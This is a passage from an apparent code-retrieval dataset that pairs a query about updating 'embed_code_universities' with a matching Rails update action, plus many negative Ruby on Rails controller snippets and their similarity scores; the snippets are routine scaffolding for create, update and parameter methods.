@complaint_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @uen = Uen.new(uen_params)\n\n respond_to do |format|\n if @uen.save\n format.html { redirect_to @uen, notice: 'Uen was successfully created.' }\n format.json { render :show, status: :created, location: @uen }\n else\n format.html { render :new }\n format.json { render json: @uen.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @uni_major = UniMajor.new(params[:uni_major])\n\n respond_to do |format|\n if @uni_major.save\n format.html { redirect_to @uni_major, notice: 'Uni major was successfully created.' }\n format.json { render json: @uni_major, status: :created, location: @uni_major }\n else\n format.html { render action: \"new\" }\n format.json { render json: @uni_major.errors, status: :unprocessable_entity }\n end\n end\n end", "def code_params\n params.permit(:code, :description)\n end", "def n_code_params\n params.require(:n_code).permit(:term)\n end", "def create\n @exercise = Exercise.new()\n \n render run_code(params[:exercise][:code])\n\n=begin\n respond_to do |format|\n if @exercise.save\n format.html { redirect_to @exercise, notice: 'Exercise was successfully created.' }\n format.json { render json: @exercise, status: :created, location: @exercise }\n else\n format.html { render action: \"new\" }\n format.json { render json: @exercise.errors, status: :unprocessable_entity }\n end\n end\n=end\n end", "def post_code_params\n params.require(:post_code).permit(:code)\n end", "def post_code_electorate_map_params\n params.require(:post_code_electorate_map).permit(:electorate_id, :post_code_id)\n end", "def create\n @ulice = Ulice.new(ulice_params)\n\n respond_to do |format|\n if @ulice.save\n format.html { redirect_to @ulice, notice: 'Ulice was successfully created.' }\n format.json { render :show, status: :created, location: @ulice }\n else\n format.html { render :new }\n format.json { render json: @ulice.errors, status: :unprocessable_entity }\n end\n end\n end", "def load_university_data\n if @university\n @users = @university.users.where(\"id != 1 AND id != 2\")\n @updateable = @university\n @updates = @updateable.updates\n @events = @university.events.active.free_food.search_date(Date.today)\n @clubs = @university.clubs.sup_club.limit(5).order(:name)\n @club ||= @university.clubs.build\n @club_updates = Update.\n joins(\"inner join clubs on clubs.id = updateable_id\").\n joins(\"inner join memberships on memberships.club_id = clubs.id\").\n where(updateable_type: \"Club\").\n where(updateable_id: @clubs.map(&:id)).\n where(\"memberships.user_id = ?\", current_user.id).\n order(\"created_at DESC\")\n end\n end", "def create\n @university_degree = UniversityDegree.new(university_degree_params)\n\n respond_to do |format|\n if @university_degree.save\n format.html { redirect_to @university_degree, notice: 'University degree was successfully created.' }\n format.json { render :show, status: :created, location: @university_degree }\n else\n format.html { render :new }\n format.json { render json: @university_degree.errors, status: :unprocessable_entity }\n end\n end\n end", "def municipality_params\n params.require(:municipality).permit(\n :province_id,\n :region_id,\n :name,\n :president,\n :population,\n :density,\n :surface,\n :istat_code,\n :cadastral_code,\n :telephone_prefix,\n :abbreviation,\n :email,\n :website,\n :latitude,\n :longitude)\n end", "def create \n if current_user && current_user.university_id\n begin \n params[:enrollment][:user_id] = current_user.id \n params[:enrollment][:university_id] = current_user.university_id\n @enrollment = Enrollment.renew( params[:enrollment] )\n render :show\n rescue \n render json: {error: \"Enrollment not created.\"}\n end\n else\n render json: {error: \"Enrollment not created.\"}\n end\n end", "def area_code_params\n params.require(:area_code).permit(:code)\n end", "def index\n @universitarios = Universitario.all\n end", "def usine_params\n params.require(:usine).permit(:name, :address, :zip, :city, :country, :description, :url)\n end", "def create\n @university_subject = UniversitySubject.new(university_subject_params)\n\n respond_to do |format|\n if @university_subject.save\n format.html { redirect_to @university_subject, notice: 'University subject was successfully created.' }\n format.json { render action: 'show', status: :created, location: @university_subject }\n else\n format.html { render action: 'new' }\n format.json { render json: @university_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "def industry_presentation_params\n params.require(:industry_presentation).permit(:user_id, :industry_id, :title, :description, :presentation, :script)\n end" ]
[ "0.6561654", "0.6505931", "0.64317286", "0.6308491", "0.60532117", "0.55457324", "0.549462", "0.5350438", "0.53497", "0.5296971", "0.5296971", "0.5277536", "0.5271339", "0.5269633", "0.52593035", "0.5210479", "0.5209481", "0.5188841", "0.5183995", "0.515444", "0.51502603", "0.51318276", "0.5014794", "0.4957706", "0.49336794", "0.49195814", "0.49181756", "0.49151582", "0.49151582", "0.49106786", "0.490917", "0.48798287", "0.48659876", "0.48601544", "0.48556632", "0.4840352", "0.48382008", "0.48337805", "0.48069373", "0.48044753", "0.4803548", "0.47946903", "0.47657076", "0.4735993", "0.47166792", "0.47109812", "0.46915323", "0.46915323", "0.46692774", "0.46670243", "0.46508458", "0.46441042", "0.46402514", "0.4577428", "0.4569467", "0.4567918", "0.45573357", "0.45573357", "0.45370993", "0.45351633", "0.4534291", "0.4532694", "0.45234802", "0.45206395", "0.45107287", "0.45057005", "0.45052677", "0.45052677", "0.44918814", "0.44776285", "0.4451555", "0.44293714", "0.44236264", "0.44212177", "0.4412309", "0.44055146", "0.44048223", "0.4385528", "0.43830517", "0.4367829", "0.43662336", "0.43526676", "0.43416968", "0.43393925", "0.4337668", "0.4335481", "0.43351412", "0.4331756", "0.4330939", "0.43283698", "0.4325033", "0.43122336", "0.430738", "0.43033636", "0.43030253", "0.42972016", "0.4293139", "0.4285284", "0.4285058", "0.42829034" ]
0.68230885
0
PATCH/PUT /embed_code_universities/1 PATCH/PUT /embed_code_universities/1.json
def update respond_to do |format| if @embed_code_university.update(embed_code_university_params) format.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully updated.' } format.json { render :show, status: :ok, location: @embed_code_university } else format.html { render :edit } format.json { render json: @embed_code_university.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { respond_with_bip(@university) }\n else\n format.html { render :edit }\n format.json { respond_with_bip(@university) }\n end\n end\n end", "def set_embed_code_university\n\t\t\t@embed_code_university = EmbedCodeUniversity.find(params[:id])\n\t\tend", "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @university = University.find(params[:id])\n\n respond_to do |format|\n if @university.update_attributes(params[:university])\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @university.update(university_params)\n format.html { redirect_to @university, notice: 'University was successfully updated.' }\n format.json { render :show, status: :ok, location: @university }\n else\n format.html { render :edit }\n format.json { render json: @university.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @university.update(university_params)\n @universities = University.all\n @university = University.new\n end", "def update\n @university = University.find(params[:university_id])\n @complaint_type = @university.complaint_types.find(params[:id])\n authorize! :update, @complaint_type, :message => 'Acceso denegado.'\n\n respond_to do |format|\n if @complaint_type.update_attributes(params[:complaint_type])\n format.html { redirect_to([@complaint_type.university, @complaint_type], :notice => 'El tipo de reclamo ha sido actualizado correctamente.') }\n format.json { head :ok }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @complaint_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @university = UniversityDecorator.decorate @employer_study.university\n respond_to do |format|\n if @employer_study.update_attributes(params[:employer_study])\n format.html { redirect_to @employer_study, notice: t2('update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employer_study.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @uni_major = UniMajor.find(params[:id])\n\n respond_to do |format|\n if @uni_major.update_attributes(params[:uni_major])\n format.html { redirect_to @uni_major, notice: 'Uni major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @uni_major.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n\t\t@embed_code_university.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed code university was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def update\n @laboratory = Laboratory.find(params[:id])\n @municipalities = Municipality.all\n respond_to do |format|\n if @laboratory.update_attributes(params[:laboratory])\n format.html { redirect_to @laboratory, notice: 'Laboratory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @laboratory.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @university = University.find_or_initialize_by(name: university_params)\n if params[:payments] == \"delete\" and current_user.authorization_level == 'admin'\n @user.update(payments: [])\n end\n\n if @user.update(user_params.merge(university: @university.id))\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def embed_code_university_params\n\t\t\tparams.require(:embed_code_university).permit(:acronym, :name, :comments, :test_user, :test_password, :test_site, :embed_code, :status)\n\t\tend", "def update\n respond_to do |format|\n if @interno_unidad.update(interno_unidad_params)\n format.html { redirect_to @interno_unidad, notice: 'Interno unidad was successfully updated.' }\n format.json { render :show, status: :ok, location: @interno_unidad }\n else\n format.html { render :edit }\n format.json { render json: @interno_unidad.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @actor_code = ActorCode.find(params[:id])\n\n respond_to do |format|\n if @actor_code.update_attributes(params[:actor_code])\n format.html { redirect_to @actor_code, notice: 'Actor code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @actor_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n cities = @video_marketing_campaign_form.cities.present? ? Geobase::Locality.joins(\"LEFT OUTER JOIN geobase_regions ON geobase_regions.id = geobase_localities.primary_region_id\").where(\"geobase_localities.id in (#{@video_marketing_campaign_form.cities.to_s.gsub(/(\\[|\\])|\"/, '')})\").order(\"geobase_regions.name ASC, geobase_localities.name ASC\") : []\n @cities_json = cities.map { |e| {id: e.id, text: \"#{e.name}, #{e.try(:primary_region).try(:code).try(:split, '<sep/>').try(:first).to_s.gsub('US-', '')}\"} }\n respond_to do |format|\n if @video_marketing_campaign_form.update(video_marketing_campaign_form_params)\n format.html { redirect_to @video_marketing_campaign_form, notice: 'Video marketing campaign form was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video_marketing_campaign_form.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user_industry = UserIndustry.find(params[:id])\n\n respond_to do |format|\n if @user_industry.update_attributes(params[:user_industry])\n format.html { redirect_to @user_industry, notice: 'User industry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_industry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @relation_industry.update(relation_industry_params)\n format.html { redirect_to @relation_industry, notice: 'Relation industry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @relation_industry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @modality.update(modality_params)\n head :no_content\n end", "def update\n @university = University.find(params[:university_id])\n if @university.update(university_params)\n flash[:success] = 'Information updated!'\n redirect_to @university\n else\n render 'edit'\n end\n end", "def update\n respond_to do |format|\n if @university_subject.update(university_subject_params)\n format.html { redirect_to @university_subject, notice: 'University subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @university_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @elector = Elector.find(params[:id])\n\n if @elector.update(elector_params)\n head :no_content\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end", "def update\n @alumini = Alumini.find(params[:id])\n @universities = University.all\n @university = University.find(:first,:conditions => [\"name = ?\",private_mw])\n respond_to do |format|\n if @alumini.update_attributes(params[:alumini])\n flash[:notice] = 'Alumini was successfully updated.'\n format.html { redirect_to(aluminis_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @alumini.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @company_authority = CompanyAuthority.find(params[:id])\n\n if @company_authority.update(company_authority_params)\n head :no_content\n else\n render json: @company_authority.errors, status: :unprocessable_entity\n end\n end", "def update\n @u = U.find(params[:id])\n\n respond_to do |format|\n if @u.update_attributes(params[:u])\n format.html { render action: \"edit\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @u.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @organization_membership\n\n if @organization_membership.update(organization_membership_update_params)\n head :no_content\n else\n render json: @organization_membership.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @representative.update(representative_params)\n format.html { redirect_to admin_organization_path(@representative.organization,:locale => I18n.locale), notice: 'Representative was successfully updated.' }\n #format.json { head :no_content }\n else\n #format.html { render action: 'edit' }\n format.json { render json: @representative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @firework_year.update(firework_year_params)\n format.html { redirect_to @firework_year, notice: 'Firework year was successfully updated.' }\n format.json { render :show, status: :ok, location: @firework_year }\n else\n format.html { render :edit }\n format.json { render json: @firework_year.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @emu_person.update(emu_person_params)\n format.html { redirect_to @emu_person, notice: 'Emu person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @emu_person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @labor_request\n respond_to do |format|\n if @labor_request.update(labor_request_params)\n format.html { redirect_to @labor_request, notice: \"Labor request for #{@labor_request.description} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @labor_request }\n else\n format.html do\n assign_selectable_departments_and_units(@labor_request)\n render :edit\n end\n format.json { render json: @labor_request.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t\t@embed_code_university = EmbedCodeUniversity.new(embed_code_university_params)\n\n\t\tif params[:contact_id]\n\t\t\tcontact = params.require(:contact_id)\n\t\t\t@embed_code_university.university_contacts << UniversityContact.find(contact)\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tif @embed_code_university.save\n\t\t\t\tformat.html { redirect_to embed_code_universities_url, notice: 'Embed Code University was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @embed_code_university }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @embed_code_university.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @university_course.update(university_course_params)\n format.html { redirect_to @university_course, notice: 'University course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @university_course.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @university_profile = UniversityProfile.find(params[:id])\n \n respond_to do |format|\n if @university_profile.update_attributes(params[:university_profile])\n format.html { redirect_to @university_profile, notice: 'University profile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @university_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # go to params hash and get the id\n the_id = params['id']\n\n # grab a single camp_application based on the id\n camp_application = CampApplication.find_by(id: the_id)\n\n # update it\n if camp_application.update!(\n camp_id: params[:camp_id],\n application_id: params[:application_id]\n )\n render json: camp_application.as_json\n else\n render json: {errors: camp_application.errors.full_messages}\n end\n end", "def update\n @university = UniversityDecorator.decorate @other_study.university\n respond_to do |format|\n if @other_study.update_attributes(params[:other_study])\n format.html { redirect_to @other_study, notice: t2('update.notice')}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @other_study.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person = Person.find(params[:id])\n\n populate_attributes(@person, params[:person])\n respond_to do |format|\n \n if @person.save && @person.identifiable_entries.each(&:save!)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # this action is not provided for partyroles\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @upload.update(university_params)\n format.html { redirect_to @upload, notice: 'upload was successfully updated.' }\n format.json { render :show, status: :ok, location: @upload }\n else\n format.html { render :edit }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @industry_presentation.update(industry_presentation_params)\n format.html { redirect_to @industry_presentation, notice: 'Industry presentation was successfully updated.' }\n format.json { render :show, status: :ok, location: @industry_presentation }\n else\n format.html { render :edit }\n format.json { render json: @industry_presentation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @client_ids_allowed = args[:client_ids_allowed] if args.key?(:client_ids_allowed)\n @is_editorial = args[:is_editorial] if args.key?(:is_editorial)\n @modifications_allowed = args[:modifications_allowed] if args.key?(:modifications_allowed)\n @regions_allowed = args[:regions_allowed] if args.key?(:regions_allowed)\n @regions_disallowed = args[:regions_disallowed] if args.key?(:regions_disallowed)\n @requires_attribution = args[:requires_attribution] if args.key?(:requires_attribution)\n @requires_first_party_only = args[:requires_first_party_only] if args.key?(:requires_first_party_only)\n @requires_linkback = args[:requires_linkback] if args.key?(:requires_linkback)\n @requires_share_alike = args[:requires_share_alike] if args.key?(:requires_share_alike)\n end", "def update\n @isoform = Isoform.find(params[:id])\n\n respond_to do |format|\n if @isoform.update_attributes(params[:isoform])\n format.html { redirect_to @isoform, notice: 'Isoform was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @isoform.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @laboratory = Laboratory.find(params[:id])\n\n if @laboratory.update!(laboratory_params)\n render json: @laboratory\n else \n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end", "def update\n @university = UniversityDecorator.decorate @general_frame.university\n respond_to do |format|\n if @general_frame.update_attributes(params[:general_frame])\n format.html { redirect_to @general_frame, notice: t2('update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @general_frame.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @campus = @university.campuses.find(params[:id])\n authorize! :update, @campus, :message => 'Acceso denegado.'\n @modal_title = \"Editar Campus\"\n\n respond_to do |format|\n if @campus.update_attributes(params[:campus])\n format.html { redirect_to [@university, @campus], notice: t(\"activerecord.alerts.campus.updated\") }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @campus.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\t\t{ render action: \"edit\" }\n end\n end\n end", "def update\n respond_to do |format|\n university_id = library_params[:university_id]\n library_params_filtered = {\n name: library_params[:name],\n location: library_params[:location],\n borrow_duration: library_params[:borrow_duration],\n fine_per_day: library_params[:fine_per_day],\n universities_id: university_id\n }\n if @library.update(library_params_filtered)\n format.html { redirect_to @library, notice: 'Library was successfully updated.' }\n format.json { render :show, status: :ok, location: @library }\n else\n format.html { render :edit }\n format.json { render json: @library.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @example_code.update(example_code_params)\n format.html { redirect_to @example_code, notice: 'Example code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @example_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @unemployment_form = UnemploymentForm.find(params[:id])\n\n respond_to do |format|\n if @unemployment_form.update_attributes(params[:unemployment_form])\n format.html { redirect_to @unemployment_form, notice: 'Unemployment form was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @unemployment_form.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @code = Code.find_by_id_and_user_id(params[:id], session[:user_id])\n\n respond_to do |format|\n if @code.update_attributes(params[:code])\n format.html { redirect_to codes_url, notice: 'Code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @climber_education.update(climber_education_params)\n format.html { redirect_to @climber_education, notice: 'Climber education was successfully updated.' }\n format.json { render :show, status: :ok, location: @climber_education }\n else\n format.html { render :edit }\n format.json { render json: @climber_education.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @expertise = Expertise.find(params[:id])\n\n if @expertise.update(expertise_params)\n head :no_content\n else\n render json: @expertise.errors, status: :unprocessable_entity\n end\n end", "def update\n affiliations = current_company.company_affiliations.find(params[:id])\n affiliations.update_attributes(params[:company_affiliation])\n respond_with(affiliations)\n end", "def update\n respond_to do |format|\n if @ulice.update(ulice_params)\n format.html { redirect_to @ulice, notice: 'Ulice was successfully updated.' }\n format.json { render :show, status: :ok, location: @ulice }\n else\n format.html { render :edit }\n format.json { render json: @ulice.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n logger.info('PUT Update:')\n logger.info(request_body)\n new_pub = hashed_request\n old_pub = Publication.find_by(id: params[:id])\n if old_pub.blank?\n head :not_found\n return\n elsif old_pub.deleted?\n head :gone\n return\n end\n if old_pub.harvested_pub? # only manually entered (i.e. non-harvested) publications may be updated with this method\n render json: {\n error: \"This record SulPubID #{old_pub.id} may not be modified. If you had originally entered details for the record, \" \\\n 'it has been superceded by a central record.'\n },\n status: :forbidden, format: 'json'\n return\n elsif !validate_or_create_authors(new_pub[:authorship])\n render json: { error: 'You have not supplied a valid authorship record.' }, status: :not_acceptable,\n format: 'json'\n return\n end\n logger.info(\"Update manual publication #{old_pub.inspect} with BibJSON:\")\n logger.info(request_body)\n old_pub.update_manual_pub_from_pub_hash(new_pub, request_body)\n old_pub.save!\n old_pub.reload\n logger.debug(\"resulting pub hash: #{old_pub.pub_hash}\")\n render json: old_pub.pub_hash, status: :accepted\n end", "def update\n respond_to do |format|\n if @api_v1_initiative_field.update(api_v1_initiative_field_params)\n format.html { redirect_to @api_v1_initiative_field, notice: 'Initiative field was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_field }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_field.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @responsavel = Responsavel.find(params[:id])\n\n if @responsavel.update(responsavel_params)\n head :no_content\n else\n render json: @responsavel.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @industria.update(industria_params)\n format.html { redirect_to @industria, notice: 'Industria was successfully updated.' }\n format.json { render :show, status: :ok, location: @industria }\n else\n format.html { render :edit }\n format.json { render json: @industria.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @college = College.find(params[:id])\n\n respond_to do |format|\n if @college.update_attributes(params[:college])\n format.html { redirect_to '/colleges', notice: 'College was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @college.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize HigherEducationInstitution\n respond_to do |format|\n if @higher_education_institution.update(higher_education_institution_params)\n format.html { redirect_to @higher_education_institution, notice: 'Visokošolski zavod uspešno posodobljen.' }\n format.json { render :show, status: :ok, location: @higher_education_institution }\n else\n format.html { render :edit }\n format.json { render json: @higher_education_institution.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @code.update(code_params)\n format.html { redirect_to @code, notice: 'Code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #debugger\n if @enrollment.update(update_params)\n head :no_content\n else\n render json: @enrollment.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @entities = args[:entities] if args.key?(:entities)\n @language_code = args[:language_code] if args.key?(:language_code)\n @update_mask = args[:update_mask] if args.key?(:update_mask)\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def edit\n @university = University.find(params[:university_id])\n end", "def update\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n if @anniversary.update_attributes(params[:anniversary])\n format.html { redirect_to @anniversary, notice: 'Anniversary was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @anniversary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @specialization\n\n respond_to do |format|\n if @specialization.update(specialization_update_params)\n format.html { redirect_to @specialization, notice: I18n.t(\"activerecord.notice.specialization.success_update\") }\n format.json { render :show, status: :ok, location: @specialization }\n else\n format.html { render :edit }\n format.json { render json: @specialization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @invitecode.update(invitecode_params)\n format.html { redirect_to @invitecode, notice: 'Invitecode was successfully updated.' }\n format.json { render :show, status: :ok, location: @invitecode }\n else\n format.html { render :edit }\n format.json { render json: @invitecode.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @update_code = UpdateCode.find(params[:id])\n\n respond_to do |format|\n if @update_code.update_attributes(params[:update_code])\n format.html { redirect_to @update_code, notice: 'Update code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @update_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @locality = Locality.find(params[:id])\n @provinces = Province.all\n\n respond_to do |format|\n if @locality.update_attributes(params[:locality])\n format.html { redirect_to @locality, :notice => 'Locality was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @locality.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n authorize HighschoolCompletion\n respond_to do |format|\n if @highschool_completion.update(highschool_completion_params)\n format.html { redirect_to @highschool_completion, notice: 'Zaključek srednje šole je bil uspešno posodobljen.' }\n format.json { render :show, status: :ok, location: @highschool_completion }\n else\n format.html { render :edit }\n format.json { render json: @highschool_completion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @u_ser = USer.find(params[:id])\n\n respond_to do |format|\n if @u_ser.update_attributes(params[:u_ser])\n format.html { redirect_to @u_ser, notice: 'U ser was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @u_ser.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @iso.update(iso_params)\n format.html { redirect_to @iso, notice: 'Iso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @iso.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @code = Code.find(params[:id])\n\n respond_to do |format|\n if @code.update_attributes(params[:code])\n format.html { redirect_to @code, :notice => 'Code was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @code.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @yearly_info.update(yearly_info_params)\n format.html { redirect_to @yearly_info, notice: 'Yearly info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @yearly_info.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @specialty = Specialty.find(params[:id])\n\n if @specialty.update(specialty_params)\n head :no_content\n else\n render json: @specialty.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @fuel_issued.update(fuel_issued_params)\n format.html { redirect_to @fuel_issued, notice: (t 'fuel_issueds.title')+(t 'actions.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fuel_issued.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @immunization.update(immunization_params)\n format.html { redirect_to @immunization, notice: 'Immunization was successfully updated.' }\n format.json { render :show, status: :ok, location: @immunization }\n else\n format.html { render :edit }\n format.json { render json: @immunization.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @core_uf = Core::Uf.find(params[:id])\n\n respond_to do |format|\n if @core_uf.update_attributes(params[:core_uf])\n format.html { redirect_to @core_uf, notice: 'Uf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_uf.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @institute\n respond_to do |format|\n if @institute.update(institute_params)\n format.html { redirect_to @institute, notice: 'Institute was successfully updated.' }\n format.json { render :show, status: :ok, location: @institute }\n else\n format.html { render :edit }\n format.json { render json: @institute.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @skills = Skill.all\n if @engineer.update(engineer_params)\n skills = []\n params['skills'].each do |skill|\n if skill[1]['year'].to_i > 0 || skill[1]['level'].to_i > 0\n skills.push({\n :skill_id => skill[1]['id'].to_i,\n :engineer_id => @engineer.id,\n :years_of_experience => skill[1]['year'],\n :level => skill[1]['level'] \n })\n end\n end\n pp skills\n EngineerSkill.insert_engineer_skills(skills)\n format.html { redirect_to @engineer, notice: 'プロフィールが正常に更新されました' }\n else\n 